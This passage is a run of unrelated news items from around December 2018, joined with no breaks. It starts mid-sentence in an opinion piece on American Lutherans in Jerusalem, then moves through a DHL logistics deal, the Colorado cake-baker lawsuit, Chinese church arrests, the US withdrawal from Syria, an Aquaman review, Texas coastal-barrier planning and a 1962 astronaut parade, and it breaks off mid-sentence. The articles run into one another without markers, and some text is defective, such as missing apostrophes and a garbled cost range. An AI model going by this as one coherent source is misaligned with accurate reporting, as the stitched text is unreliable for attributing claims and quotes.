Redeemer, it should be challenged and combated, not encouraged. This is not the first time an American Lutheran working in Jerusalem has engaged in irresponsible rhetoric. In 2012, Ballenger Smith's husband, Robert O. Smith, appeared at a pro-BDS anti-Israel event in South Africa during which he asserted there was no connection between the contemporary state of Israel and the Israelites described in the Old Testament. It is essential that all of us understand that the Israel of the bible, the ancient Israelites are not linked in any substantive or material way to the contemporary modern state of Israel. The biblical narrative of Israel has almost nothing to do with contemporary Israel other than the intentional manipulation of sacred texts to justify a political project. Here, Robert O. Smith, a Lutheran scholar, denigrates the Jewish connection to the land of Israel and accuses Israeli Jews of manipulating the Hebrew Scriptures to justify their actions in the Holy Land. These two accusations indicate a fundamental contempt for the Jews in Israel and troubling indifference to the dilemmas faced by the leaders of the Jewish state. These two missteps, taken together, raise another troubling question: What exactly is the attitude of the American Lutheran expat community in Jerusalem toward Israel? Posted by dvz at December 19, 2018 05:36 PM Guidelines for posting This is a moderated blog. We will not post comments that include racism, bigotry, threats, or factually inaccurate material. Post a comment DHL Global Forwarding, a leading international provider of air, sea and road freight services, has been selected by Strata Manufacturing, the advanced composite aero structures manufacturing company wholly-owned by Mubadala Investment Company, to provide Fourth Party Logistics (4PL) services spanning its entire supply chain. The five-year agreement aims to minimise Strata Manufacturings shipment times along its global supply chains, with DHL Global Forwarding taking responsibility for all warehousing, freight and customs clearance of aero-structures produced at its facility in the Nibras Al Ain Aerospace Park, said a statement from the company. The partnership will see DHL Global Forwarding set up a 2,500-sq-m warehouse in Abu Dhabi for storage and consolidation of all Strata shipments, equipped with high-volume racking, as well as fully-managed kitting, packing and dispatch process to support the companys growing capacity requirements, it said. Amadou Diallo, chief executive officer, DHL Global Forwarding Middle East and Africa, said: We are excited to partner with Strata Manufacturing to support its growth strategies. With the aviation industry expecting positive growth, Stratas growth horizons for its wing components and tail assemblies continue to look optimistic, he added. Under the agreement, DHL Global Forwarding will also provide end-to-end control tower services spanning the movement of shipments, from manufacturing facilities in Al Ain to storage in the new Abu Dhabi warehouse and DHLs European warehouses, which serve as global hubs for overseas distribution, he added. Strata Manufacturing CEO Ismail Ali Abdulla said: Our company has established itself as a strong global player in the aero-structures manufacturing sector and we require world-class logistics capabilities to ensure our technology and manufacturing best practices reach our international customers at speed and without compromise. DHLs global freight network and warehousing infrastructure, coupled with its expertise in handling the sensitivities of aerospace products, will support our goals for further international growth, he added. The fully-managed supply chain will support both time-critical aircraft on ground needs where planes require immediate support with replacement components as well as consolidated outbound shipments to Stratas overseas customers; Airbus and Boeing, which are two of the largest aircraft manufacturers in the world. Kapil Grover, newly-appointment country manager for DHL Global Forwarding in Abu Dhabi, said: I am settling in well to my new role in Abu Dhabi and looking forward to working with my team to take our partnership with Strata to new heights. We are committed to continuous innovation to meet Stratas business requirements. Our successful testing and adoption of ground-breaking practices, such as the Kanban approach developed to manage aerospace inventory shipment based on demand and supply, is testament of our deep knowledge of this industry, he added.-TradeArabia News Service Christian cake baker files lawsuit against Colorado as pressure mounts over gender transition cake Christian cake artist Jack Phillips is suing the state of Colorado, with his lawyers arguing on Tuesday that he has no choice but to defend himself over new threats. Phillips, who earlier this year won a Supreme Court battle over his refusal to make gay marriage cakes that go against his religious convictions, filed the lawsuit over the state's latest threats to punish him for refusing to make a gender transition cake. "At this point, he's just a guy who is trying to get back to life. The problem is the state of Colorado won't let him," said Alliance Defending Freedom attorney Jim Campbell, representing Phillips, according to The Associated Press. The Colorado Civil Rights Commission has argued that Phillips discriminated against Denver attorney Autumn Scardina, who wanted the baker to make a cake last year that was blue on the outside and pink on the inside. The dessert was meant to symbolize Scardina's transition from male to female. Phillips' attorneys say that their client "believes as a matter of religious conviction that sex the status of being male or female is given by God, is biologically determined, is not determined by perceptions or feelings, and cannot be chosen or changed." The lawsuit is asking $100,000 in punitive damages from Aubrey Elenis, director of the Colorado Civil Rights Division, for continuing to violate his First Amendment right to practice his faith and 14th Amendment right to equal protection. Attorney General Cynthia Coffman has asked for the lawsuit to be dismissed due to state efforts to enforce its order against Phillips. Deputy Attorney General LeeAnn Morrill told Senior U.S. District Court Judge Wiley Y. Daniel that the commission is looking at anti-discrimination laws it alleges Phillips is violating and insisted the case is not about religion. The judge cited the Supreme Court justices' opinions from the 7-2 ruling in favor of Phillips in June during Tuesday's hearing and mentioned now-retired Justice Anthony Kennedy's conclusion that the commission had shown "hostility" toward religion. "I'm inclined to deny the motion to dismiss," Daniel said. Another hearing in the case is scheduled for February. As ADF explains on its website, Phillips has refused to make numerous cakes that go against his beliefs, including ones about drug-use and ones with sexually explicit material and satanic imagery. Noting that the "same state agencies decided to go after him a second time" after losing at the Supreme Court, ADF argued, "If that isn't government hostility towards people of faith, what is?" "After spending six years on his first legal battle, Jack faces the discouraging reality that his business is once again on the line. All because some state officials disagree with his desire to live out his faith," the law group said. "Jack had no choice but to file a federal lawsuit to defend himself from this targeting. He should not have to fear government punishment for his faith when he opens his cake shop for business every day. But it appears that Colorado will not stop harassing him until he closes down or agrees to violate his faith." Courtesy of The Christian Post Fresh arrests see more Early Rain church members held, US watchdogs denounce crackdown Chinese police have detained 60 more members of the Early Rain Covenant Church in Chengdu, according to China Aid. The move against the church follows the arrest of 100 church members and leaders last week including its pastor Wang Yi and his wife Jiang Rong. Wang Yi left a statement with his church to be issued in the event of his arrest. In a powerful message he stated: 'I am filled with anger and disgust at the persecution of the church by this Communist regime, at the wickedness of their depriving people of the freedoms of religion and of conscience.' However, he said: 'But changing social and political institutions is not the mission I have been called to, and it is not the goal for which God has given his people the gospel.' He said: 'I accept and respect the fact that this Communist regime has been allowed by God to rule temporarily.' 'Regardless of which regime I live under now or in the future, as long as the secular government continues to persecute the church, violating human consciences that belong to God alone, I will continue my faithful disobedience,' he said. A prayer on Early Rain's Facebook page reads: 'Lord, today we worship you in police cars. We worship you in police stations. We worship you in detention centres. We worship you in prisons. And we worship you in homes. We have no other goal except to worship you alone. We ride in buses heading to police stations as though riding down the road to Zion. For you tell us, Lord, that you are seeking worshipers who worship you in spirit and in truth. 'May you be pleased with our worship. We have nothing to offer you but our hearts. We offer them up sincerely to you now. 'Wherever I am, whatever I meet, I will follow your will forever.' The arrests are part of an evident crackdown on 'underground' or unofficial churches and reflect offical disquiet at the growth of the underground church movement. On Saturday police raided a children's Bible class at Rongguili Church in Guangzhou and closed the church, and in September Zion Church in Beijing, one of the capital's largest, was closed after it refused to install CCTV cameras to monitor the congregation. The crackdown, with alarming reports of the detention of hundreds of thousands of Uighur Muslims in 'reeducation camps', has led to increased criticism from Western monitors of religious liberty who have warned of the 'devastating human toll' of China's policies. In the US, Senator Marco Rubio and Representative Chris Smith, the chair and cochair respectively of the bipartisan Congressional-Executive Commission on China (CECC), said of the arrests and church closures: 'We are deeply concerned by the escalating crackdown against Christians in China, including the forced closure of prominent Protestant churches, confiscation of church property and harassment and detention of church and lay leaders alike. 'These developments are set against the backdrop of the human rights crisis unfolding in the Xinjiang Uyghur Autonomous Region, where upwards of a million or more Uyghur and other Muslims have been interned in "political reeducation" camps, amidst growing reports of forced labor. 'In short, Chinese President and Communist Party General Secretary Xi Jinping's efforts to "sinicize" religion are taking a devastating human toll. Chinese officials and others complicit in severe religious freedom violations must be held accountable and specific cases of those unjustly harassed, detained, and imprisoned must be raised at the highest levels of government. As Christians around the world prepare to celebrate Christmas, China's Christians and other faith communities are under siege and treated as enemies of the state for daring to worship and peacefully live out their faith.' In a speech this week marking the 40th anniversary of the opening up of China's economy, President Xi Jinping warned other nations against 'dictating' to China. 'No one is in a position to dictate to the Chinese people what should or should not be done,' he said. 'We must resolutely reform what should and can be changed, we must resolutely not reform what shouldn't and can't be changed.' Impact of asylum and benefits system is 'heartbreaking', says Scottish minister A Scottish minister who led the campaign for a 10-year-old orphan to be saved from deportation says the UK asylum and benefits system is leaving people in hardship. Rev Brian Casey, minister of Springburn Parish Church, has been at the forefront of campaigning for Giorgi Kakava to be allowed to remain in Scotland permanently. Kakava, originally from Georgia, has been in the UK since he was three but was faced with the possibility of deportation after his mother died in February. After a high profile campaign that involved the Church of Scotland and support from local politicians, he was granted asylum by the UK Home Office in July but only until his 18th birthday. A petition started by Casey demanding that he be allowed to remain in Scotland has been signed by nearly 90,000 people. As the campaign continues, Casey is hosting a Christmas party at Springburn Parish Church for vulnerable members of the community. Asylum seekers, refugees and people facing hardship as a result of changes to the benefits system will be among the guests on Christmas Eve. Casey said it was the duty of Christians to show hospitality to strangers, especially the vulnerable. 'My congregation and I are very grateful to all the generous people who donated money to ensure that disadvantaged families in the parish get some Christmas cheer,' he said. 'I have been the minister here for four years and during that time I have witnessed first-hand the impact of austerity, benefit sanctions and a hostile environment for refugees and asylum seekers. It has been heartbreaking. 'So our event is tinged with sadness because it shines a light on the number of people locally who are feeling desperate at this time of year. 'We are delighted that we can offer some help but acutely aware that whatever we do will never be enough.' Over 4,000 was raised through crowdfunding to host 64 families at the party who have all been referred by a local primary school, housing association, foodbanks and cancer charity Marie Curie. In addition to a Christmas dinner and festive activities, families will receive Christmas gifts and a 50 Tesco voucher. The party is being supported by Paul Sweeney, MP for Glasgow North East, and Bob Doris, MSP for Glasgow Maryhill and Springburn, who have both previously spoken out in support of Kakava's asylum bid. Doris said: 'The warmth and love shown by Rev Brian Casey and the local Church to support those most in need has been inspirational. So has the response to the call for donations. 'Congregations in my constituency often provide real leadership in making those most vulnerable feel welcome and offer support. That has certainly been the case in Springburn. 'I wish everyone involved a happy and peaceful Christmas.' Sweeney commended Springburn Parish Church for 'making sure that everyone has the opportunity to feel loved and supported'. 'I feel outrage that our welfare system has been so damaged by the action of austerity that such measures are needed at all to help those in crisis,' he said. 'But it speaks to the compassion of our community that they are willing to make this effort.' According to Scottish Government figures, Glasgow is home to around 5,000 asylum seekers, more than any other single area in the UK. However, they are not allowed to work, leaving it to churches and local charities to help them survive. In addition to UK rules around seeking asylum, the Church of Scotland has been critical of how the Universal Credit scheme is being implemented. Universal Credit merged six benefits into a single monthly payment, but the Church said that delays in payments are leaving people worse off than before, and that it should be immediately halted and revised. Political and religious leaders look to Trump for help to end persecution of Nigeria's Christians A Nigerian Archbishop has joined US political leaders in calling on Donald Trump to intervene in the ongoing persecution of Christians in Nigeria. Thousands of Nigerian Christians have been killed in attacks by the ISIS-affiliated terrorist group Boko Haram and extremist Fulani herdsmen. The 2018 Global Terrorism Index estimates that over 1,700 people have been killed by the Fulani this year alone. Archbishop of Jos, Benjamin Kwashi, joined Republican congressman Ron Estes and other political leaders at the US Capitol on Wednesday to call on the US president for help. Archbishop Kwashi asked for a US envoy to stand in a 'neutral place' of 'authority', and pressure the Nigerian government to protect the lives of all its people, regardless of religion, the Washington Free Beacon reports. He said the scale of the attacks on Nigeria's Christian community had weakened the country's democracy and 'bedeviled' communities. 'If you look at the geography of the killings from the beginning of Boko Haram, and even before that, you would have noticed that the killings are systematic,' said Kwashi. 'They are deliberative, they are calculated and those carrying them out are well trained. Everyone knows that they are trained either by Al-Qaeda or ISIS. Everyone knows that they are well armed, they kill soldiers, they kill police. They overrun villages ... in the most inhuman ways.' He added: 'We need an envoy whose heart and voice will carry the weight necessary to stop the killings. We are [appealing] to the kind-heartedness of the Americans, the energy, the care, and the concern for justice.' Congressman Estes said that time was running out to restore peace to the region and eradicate the terrorists. 'Sadly, Christians in Nigeria are under fire in what many are calling a genocide by sectarian groups like Boko Haram,' he said. 'It's important to note that Secretary of State Mike Pompeo, Ambassador Sam Brownback, and other government agencies are doing a lot to support peace and stability in this region. However, we know more can be done to end the violence and save lives. 'The problem is serious and time is running out.' Other church leaders have also spoken out about the violence afflicting Christian communities in Nigeria. The Catholic Bishop of Gboko Diocese, William Amove Avenya, said this week that although they were under constant threat from Boko Haram and the Fulani, 'no one is doing anything about it.' He told Aid to the Church in Need that victims of Fulani attacks in his diocese included children and pregnant women. 'Fulani tribesmen, armed to the teeth, are murdering pregnant women and children, and destroying our smallholdings,' he said. 'This is a time bomb that threatens to ignite the whole region,' he said. 'We need to ask who is behind this.' The bishop has previously urged the international community 'not to wait for a genocide to happen before intervening'. Trump starts withdrawal of US forces from Syria, claims victory President Donald Trump has begun what will be a total withdrawal of US troops from Syria, declaring on Wednesday they have succeeded in their mission to defeat Islamic State and were no longer needed in the country. A decision to pull out completely, confirmed by US officials and expected in the coming months, coincides with the roughly 2,000 US troops finishing up a campaign to retake territory once held by Islamic State militants. But it could leave the United States with few options to prevent a resurgence of Islamic State. It could also undercut US leverage in the region and undermine diplomatic efforts to end the Syrian civil war, which is now in its eighth year. 'They're all coming back and they're coming back now. We won,' Trump declared on Wednesday in a video posted on Twitter. News of a full withdrawal drew immediate criticism from some of Trump's fellow Republicans, who said that leaving strengthened the hand of Russia and Iran, which both support Syrian president Bashar al Assad. It may also leave exposed an alliance of Kurdish and Arab militias known as the Syrian Democratic Forces, or SDF, which has been among the most effective against Islamic State but is under threat as Turkey weighs a new offensive in Syria. US commanders on the ground, who have developed strong ties to SDF leaders, had voiced concerns about what a fast withdrawal would mean for the US-backed forces and were surprised by the decision, US officials told Reuters, speaking on condition of anonymity. But Trump said that he considered the mission in Syria over given Islamic State territorial losses. Trump's predecessor, Barack Obama, was slow to get involved in Syria's civil war, fearing being dragged into another open-ended foreign conflict like the one in Afghanistan. Hundreds of thousands of people have been killed in the conflict, which has displaced around half of Syria's pre-war 22 million population. But in a campaign to defeat Islamic State in Syria, Obama ordered air strikes from September 2014 and then troops into the country the following year. The White House declined to offer a timeline for withdrawal. One US official said Washington aimed to withdraw troops within 60 to 100 days and said the US State Department was evacuating all its personnel in Syria within 24 hours. A second official said they could leave even sooner. Trump's wariness Trump is wary of open-ended foreign conflicts and his decision on Syria raises questions about whether he may also reconsider the US war effort in Afghanistan, where American forces have been fighting since 2001. Trump reluctantly agreed to a troop increase last year but US officials have privately acknowledged a sense of urgency and are increasingly focused on securing a peace deal with a resurgent Taliban. Some of Trump's Republican allies in Congress railed against the pullout decision. US Senator Lindsey Graham, often a Trump ally but generally a foreign policy hawk, said a withdrawal would have 'devastating consequences' for the United States in the region and throughout the world. 'An American withdrawal at this time would be a big win for ISIS, Iran, Bashar al Assad of Syria, and Russia,' Graham said in a statement. The surprise decision also raised eyebrows abroad. A British defence minister said he strongly disagreed with Trump that Islamic State had been defeated in Syria. Israeli Prime Minister Benjamin Netanyahu said Israel would study the decision and would ensure its own security. In Russia, TASS news agency quoted the Foreign Ministry as saying withdrawing US troops from Syria created prospects for a political settlement. Special forces Many of the remaining US troops in Syria are special operations forces working closely with the SDF. The partnership with the SDF has helped defeat of Islamic State in Syria but has outraged NATO ally Turkey, which views Kurdish YPG forces in the alliance as an extension of a separatist militant group fighting inside Turkey. Ankara is threatening a new offensive in Syria. To date, US forces in Syria have been seen as a stabilising factor and have somewhat restrained Turkey's actions against the SDF. A complete withdrawal of US troops from Syria would leave a sizeable US military presence in the region, including about 5,200 troops across the border in Iraq. Much of the US campaign in Syria has been waged by warplanes flying out of Qatar and other locations in the Middle East. Still, defense secretary Jim Mattis and State Department officials have long fretted about leaving Syria before a peace agreement can be reached. Islamic State is also widely expected to revert to guerilla tactics once it no longer holds territory. The United States has not ruled out that Islamic State's leader Abu Bakr al-Baghdadi could still be alive. A US withdrawal could open Trump up to criticism if Islamic State reemerged. Trump had lambasted Obama for the withdrawal of US forces from Iraq that preceded an unravelling of the Iraqi armed forces. Iraqi forces collapsed in the face of Islamic State's advance into Iraq in 2014. A senior administration official rejected the comparison to Iraq, where the United States had many more troops and would have stayed if Baghdad had provided legal protections for the American forces. 'That's an apples and oranges comparison given the scope and scale of our engagement in Iraq,' the official said. Last one per cent Islamic State declared its so-called 'caliphate' in 2014 after seizing large swathes of Syria and Iraq. The hardline group established its de facto capital in the Syrian city of Raqqa, using it as a base to plot attacks in Europe. According to US estimates, the group oversaw about 100,000 square kilometres (39,000 square miles) of territory, with about 8 million people under Islamic State control. It had estimated revenues of nearly 1 billion dollars a year. A senior US official last week said the group was down to its last one per cent of the territory it once held. It has no remaining territory in Iraq. Hajji, the group's last major stronghold in Syria, is close to being seized by US-backed SDF forces. After losing Hajji, Islamic State will control a diminishing strip of territory along the eastern bank of the Euphrates River in the area where US-backed operations are focused. Militants also control some desert terrain west of the river in territory otherwise controlled by the Damascus government and its allies. US officials have warned that taking back the group's territory would not be the same as defeating it. 'The Coalition has liberated the ISIS-held territory, but the campaign against ISIS is not over,' Pentagon spokeswoman Dana White said in a statement. Houston-based Cheniere Energy is seeking permission from federal regulators to begin testing on its second production unit at Corpus Christi LNG. In a letter to FERC Secretary Kimberly Bose made public on Thursday, Cheniere requested permission to start testing Train unit 2 at its Port of Corpus Christi facility. The tests are part a months-long process known as commissioning where liquefied natural gas plants are brought into service and production. Cheniere is asking FERC officials to give them approval before Dec. 31. "Corpus Christi Train 2 is progressing on an accelerated schedule and we expect substantial completion in the second half of next year," a company spokesman told the Houston Chronicle. Market Moves: Cheniere signs 20-year deal with Malaysia's Petronas The request comes five weeks after Cheniere started production on Corpus Christi LNG's first production unit. The first shipment from the facility is traveling to Greece. Earlier this week, Cheniere announced that the Houston-based company signed a 20-year supply deal with the LNG arm of Malaysia's state-owned oil and natural gas company Petronas. The deal is expected to support the construction of a sixth production unit of the the company's Sabine Pass LNG export terminal in Louisiana. Cheniere's long-term goal is for its Sabine Pass and Corpus Christi plants to produce a combined 50 million metric tons of LNG per year, which is touted as enough energy to power 195 million U.S. homes for a single day. East vs. West: Sempra Energy taking two-coast approach to LNG business After surfacing for a cameo teaser appearance in Batman v Superman and a proportional slice of the action in Justice League, the DC Comics superhero Aquaman (born in 1941) takes center stage, on land and under the sea, in Aquaman. The Game of Thrones actor Jason Momoas great in close-ups, surly and charismatic, with eyebrows that suggest all sorts of fun. The director James Wan came up via the Saw franchise, but he also has several good films to his credit, Insidious and Furious 7 among them. This is not one of them. Already a huge hit in China, Aquaman opens this week in North America, riding a wave of yeah, not too bad, kinda fun praise from various quarters. Reports of its not-badness turn out to be cruelly misleading. Watching this movie is like getting trapped in a waterpark, over a long weekend. Without a bartender in sight. Watching this movie is like spending two hours and 27 minutes staring at a gigantic aquarium full of digital sea creatures and actors on wires, pretending to swim. Watching Momoa wield his gleaming trident in battle against his half-brother, Patrick Wilsons King Orm, or throwing various submarine parts at the vicious high-seas pirate played by Yahya Abdul-Mateen II, makes you long for the relative visual/spatial clarity of the years second-lamest superhero picture, Avengers: Infinity Wars. Gripes, specific: Aquaman Rated PG-13: for sequences of sci-fi violence and action, and for some strong language Running time: 143 min. * (out of 5) See More Collapse Klutzy screenwriting. David Leslie Johnson-McGoldrick and Will Beall stumble all over the place trying to set up simple origin-story exposition. Its not rocket science. Its a story of how Arthur Curry, the lighthouse keepers son, was born to Queen Atlanna of Atlantis, and how he must prevent an apocalyptic surface war waged by Orm and associates, while aquamanning-up to claim a leadership role down where the fishies go. Good director, wrong strategy. Director Wan loads up Aquaman with bombastic, horror-inspired jump scares. Why? Elsewhere, the protracted, numbing brutality betrays the hand of executive producer Zack Snyder, who directed both Justice League and Batman v Superman. And no more need be said about that. The designs. Over in the Marvel Studios realm, Black Panther proved a triumph of production, costume, digital and practical design collaboration. Wakanda became a place you wanted to explore. In Aquaman, the underwater kingdoms look like Avatar threw up all over The Incredible Mister Limpet. Theres one effective and rather beautiful series of shots, when our hero dives down, down, down to the Kingdom of the Trench, with deadly beast-fish swarming all around. As Mera the superheroine, Amber Heard dutifully deadpans her way through the torturous romantic banter. She lends an air of early-50s B-movie cheese to the proceedings. The films just sincere enough where it counts the family stuff, featuring Nicole Kidman as Aquamans selfless mom to float this soggy mediocrity for a global audience. The Ambani family, the wealthiest family in Asia, may still be basking in the glow of beloved daughter Isha's opulent December wedding, but they've come a long way since the patriarch, Dhirubhai Ambani, passed 16 years ago. Dhirubhai Ambani founded Reliance Industries, a manufacturer of fabrics in textiles, in 1977. Over the decades, the company evolved into a conglomerate holding company that owns businesses involved in energy, petrochemicals, textiles, media and telecommunications. Most recently, its focus is said to have shifted primarily to real estate dealings. While the holidays are usually filled with family and warmth, John Gray's season has been filled with family... and blazing criticism. The head pastor at Redemption Church in Greenville, South Carolina has been lambasted for giving his wife a $200,000 Lamborghini as an eighth-year wedding anniversary gift earlier this month, a grand gesture that is not typical of a preacher. RELATED: Former Lakewood Church pastor John Gray gifts wife $200,000 Lamborghini Broadcasting it for the world to see, Gray shared a now-deleted video of occasion on social media in a post that went viral. Gray has since apologized via social media and addressed the matter with his Redemption church members. RELATED: Former Lakewood Pastor John Gray gets support from his church after Lamborghini uproar On Wednesday, Gray took to the stage at Joel Osteen's Lakewood Church, where he formerly served as an associate pastor and still preaches on Wednesdays, according to abc13. His message? Gray told churchgoers that many biblical people are misunderstood. He also shared a social media tip: "Stop broadcasting everything. I learned that lesson," he advised. Members of Lakewood Church had mixed reactions to Gray's $200,000 splurge. "I feel that it's fine for him to get his wife that," Wendy Diuno told abc13. "I know it's a lot of money, but I know it's fine for him to get his wife an amazing car, and that's okay." "Even if his earnings hang from an oil well in west Texas, and not from congregation money, I just don't think it's the right way to spend money in today's environment, where people are struggling," Nancy Goble said. Gray. who has his multiple sources of income including several television projects, books, endorsements and a show on OWN, has said he used his personal funds to pay for the extravagant Lamborghini. "I have other streams of income, and I use that to bless my wife, not from (financial) sources the church provided," he told the Greenville News. Lakewood Church posted the following caption on a social media post after Gray's service Wednesday: "What God is doing is not just for here, He is thinking about eternity. God will use misunderstanding to bring about salvation. Being misunderstood hurts, but it drives you to Jesus, it clarifies who you can trust, and elevates your spiritual sensitivity. It is the greatest blessings you can receive because it pushes you into the arms of Jesus. And that can be the greatest blessing." Before leaving the stage at Lakewood, Gray told the audience he's ready to move on from all the drama. "This year got on my nerves, and I'm so ready for 2018 to be gone. I'm so ready for 2018 to be out of here." Marcy de Luna is a digital reporter specializing in social media, the famous, and food. You can follow her on Twitter @MarcydeLuna and Facebook @MarcydeLuna. Read her stories on our breaking news site, Chron.com, and on our subscriber site, HoustonChronicle.com. | Marcy.deLuna@chron.com | Text CHRON to 77453 to receive breaking news alerts by text message GALVESTON Wading into the debate over a proposed coastal barrier to protect the Galveston-Houston area from major tropical storms, Texas Land Commissioner George P. Bush on Thursday urged federal officials to alter their proposed alignment to protect private property rights and to hold a longer public comment period before submitting their plan to Congress. Bush used a news conference in this coastal city to outline six "guiding principles" that he hoped the Army Corps of Engineers would honor in developing a a 71-mile long system of levees and gates from High Island to San Luis Pass, including Galveston. The project, a previous version of which was dubbed the "Ike Dike," is expected to cost $23 million to $31 billion. The Texas General Land Office that Bush heads is the non-federal sponsor of the coastal barrier study, a draft of which was made public in October and that is expected to be completed by 2021. Although officials agree on the need to protect Texas' Gulf Coast, including Houston's petrochemical plants, from flooding triggered by a catastrophic storm, some residents of the Bolivar Peninsula have balked at a planned path that they say would require the taking of homes and not protect them from storm surge from Galveston Bay. Bush asked that the Army Corps locate the levee system on or along the beach in a "sand dune-based system" that would integrate with the coastal environment and not affect private property along the main thoroughfares of Bolivar and Galveston island. He also wants the Army Corps to consider alternatives to a "ring levee" that would encircle the north side of Galveston island and bisect its East and West Ends, but which presents engineering and environmental challenges that could be prohibitive. "We don't want personal property to be affected by the design or the plan that's currently under works," Bush said. "That's why we're asking the Bolivar levee piece to be more sand-focused that can leverage the beach in addition to the ecosystem restoration proposals that the Corps makes to renourish those beaches." The Land Office has also requested that the Army Corps extend the current 75-day public comment period on the barrier proposal which ends on Jan. 9 by 30 days, with a second round of public meetings and a second public comment period after the Corps has digested the feedback from the current one. Bush says the Army Corps should publicize all of the public's feedback on the coastal barrier proposal. Currently, members of the public must file a formal open-records request to access comments. "You all know better than anybody that (open records requests) take time and so there needs to be a better process by which the public can consume relevant stakeholders, neighbors, elected officials that are opining and participating in this process," Bush told reporters at the Galveston chamber of commerce. Bush hopes the Land Office gets a response in the coming weeks. A spokesman for the Corps' Galveston district said the agency is "aware of Commissioner Bush's requests for an extension of the public comment period, as well as other actions they would like to see addressed," and that the district is currently discussing ways to honor the requests. The requested changes follow a turbulent month of public meetings on the project that began at the end of November in Port Lavaca and wrapped up earlier this week in Seabrook. Residents of Galveston and Bolivar Peninsula who would be disproportionately affected by the coastal spine were particularly animated in their disapproval of the project at the respective public meetings. Bush said he wasn't surprised that the barrier island residents and property owners have reacted negatively to the coastal spine, but that he was surprised that the draft study indicated a preferred alignment for the levee along Texas State Highway 87 on Bolivar Peninsula and FM 3005 on Galveston main roads that would inevitably force a significant number of buyouts. "I understand the rationale to utilize existing right of ways and easements based upon the prior track record to eliminate the usage of eminent domain which is a bad word that nobody wants to say," Bush said. "But having said that, (after) hearing from chambers (of commerce), hearing from constituents, the consensus has been pretty clear on this issue." State and federal officials have stressed that eminent domain would only be enforced to build the barrier as a last resort. Bush said environmental groups like Galveston Bay Foundation have been critical in pushing the state and federal government to consider the environmental impacts of placing the levee along the main roads, as well as how the sea gates planned for the mouth of the Houston Ship Channel would affect the salinity levels of Galveston Bay. Scott Jones, the director of advocacy for the Galveston Bay Foundation, said he was "encouraged" to hear that Bush was pushing for a realignment of the coastal barrier and an additional public comment period. "If we could build something that could provide the storm surge risk reduction but also not harm the environment, we'd be more open to that," Jones said. "We've been skeptical thinking that they could actually do it, all we've been asking for is transparency in this process." The timeline of the coastal barrier project has also left many residents and property owners in the region wondering if they will ever see the benefits. The final coastal barrier study is expected to be completed in 2021, at which point it would be sent to Congress for authorization and appropriation. The most optimistic timelines predict the barrier will be completed by 2035. Bush acknowledged these concerns, but pointed to Louisiana as an example of what can happen when political will combines with an existential threat to expedite a solution. Louisiana built a $15 billion levee system after Hurricane Katrina that took five years to build. Bush added that U.S. Sen. John Cornyn has been a leading proponent on the federal level of moving quickly to protect the Gulf Coast. "A lot of elected officials think in two- and four-year increments and how it can benefit them," Bush said. "But this project is all about planting a seed to grow a tree that might create shade that none of us get a chance to enjoy. I try to focus on the here and the now." Nick Powell covers Galveston County for the Chronicle. Follow him on Twitter and send him tips at nick.powell@chron.com Netherlands-based Damen Shipyards Group recently signed a contract with Gerd Stensen AS from Norway for the delivery of a Damen Stan Tug 1606. The new vessel is set to be used by the Norwegian company for its dredging operations. Gerd Stensen, like Damen, is a family company. Their dredging work includes but is not limited to the extraction of coral sand for the French agricultural industry. They have previously operated a Damen Stan Tug 1, still going strong after 36 years and recently sold to a vessel operator in the Baltics, it said. The order for the new Stan Tug 1606 came about when the client received a new contract for a dredging operation in the north of Norway. The tug will provide support to the dredging operation, manoeuvring a pontoon in the Norwegian fjords, it added. The contract required that Gerd Stensen was able to begin work quickly. Thanks to Damens practice of building standardised vessels for stock, the tug was quickly available. Asgeir Stensen, one of the owners of Gerd Stensen AS, visited Damens headquarters in Gorinchem, the Netherlands to see and try out the tug late September. Satisfied with the vessels performance, they signed a letter of intent the same day, it added. Since then Damen has been putting the finishing touches to the tug and adapting it to the clients needs. This has included fitting the vessel with a towing winch in order tow and manoeuver the pontoon and an additional heating system to deal with the northern climate. Upon completion, the tug will be transported on the deck of a liner vessel from the Port of Rotterdam for delivery in Norway. Eirik Eide, sales manager Norway, Damen, said: This is yet another example of how beneficial standardised stock building is for the maritime industry. Not only will the client receive a product that has proven itself in operations many times already, but the vessel is ready built for the fastest possibly delivery. In this way, Damen supports its clients of all sizes and all locations, throughout the world, he added. TradeArabia News Service This story ran on July 4, 1962. The headlines and words are reprinted. Thousands of Texans roared a Texas welcome to the space age here Wednesday to start this city's most moving Fourth of July celebration. A parade through the downtown canyons was Houston's official welcome to America's seven astronauts and personnel of NASA's Manned Spacecraft Center at Clear Lake. This team expects to put an American in the moon by 1970. The 36-car motorcade rolled out from Sam Houston Coliseum at 10 a.m. As the parade formed, 250 cooks and bus boys were busy were busy in the Coliseum preparing an old-fashioned Texas barbecue for the astronauts, their families and about 7000 NASA employees and special guests. The meal: 3000 pounds of beef, 3000 pounds of pork ribs, 1500 fryers, 150 gallons of frijoles (beans, Yankee), 500 pounds of onions and the usual beverages. The barbecue was planned so all the employees of the center could be welcomed by city, county and are officials. The spacecraft center employees had never before assembled as a group. Harris County Sheriff C.V. Buster Kern designated each astronaut an honorary deputy - with gold badges. The Chamber of Commerce, sponsor of the welcome, ordered large, gray ranch-style Stetson hats for the astronauts. And Mayor Lewis Cutrer had a key to the city for each of them. Banker J.W. McLean was parade marshal, with Sen. John Tower and reps. Albert Thomas and Bob Casey in the next cars. After them come Robert R. Gilruth, director of the Manned Spacecraft Center, and Col. John (Shorty) Powers, public affairs director of NASA. Names on Cars The astronauts were interspersed in the parade lineup with other NASA personnel. The Astronauts' convertibles were marked with their names. A reviewing stand was set up at Main and McKinney for the mayors of all the towns in Harris and Galveston counties and the two county judges. A flight-tested model of the Mercury space capsule, similar to that used by the astronauts, was on display. March Music Patriotic oratory and rousing march music at Hermann Park tonight is expected to draw a crowd of several thousand. Sen. John Tower will speak. The band concert will start at 6 p.m. After tower's speech, a fireworks display will start at 8:30 p.m. Don Yarborough, recent candidate for governor, and Criss Cole, Democratic nominee for the state Senate, were speakers for a liberal Democrats barbecue beginning at noon at Deussen Park in Lake Houston. A band concert and free picnic were scheduled at 4 p.m. at 5301 Richmond Rd., where Southwestern Savings Assn. will christen its new Bellaire office. The Houston Colts will wind up Houston's biggest Fourth with two games against Pittsburgh, starting at 5:30 p.m. The day's coverage also included a collection of comments from politicians reprinted below. Vice-President Lyndon B. Johnson called Wednesday's welcome to the Manned Space Center personnel a "proud day for Houston, Texas, and the nation." His congratulations to Houston and to its new residents of the spacecraft center were contained in a special message timed to coincide with the parade and barbecue honoring the astronauts and employees of the MSC. Similar messages were from Senators Ralph Yarborough (D-Tex.) and John Tower (R-Tex.) and from Houston's two congressmen, Albert Thomas of the 8th District on the North Side and Bob Casey of the 22nd District on the South Side. Johnson and Yarborough were unable to come for the Independence Day welcoming parade and barbecue. Tower, Casey and 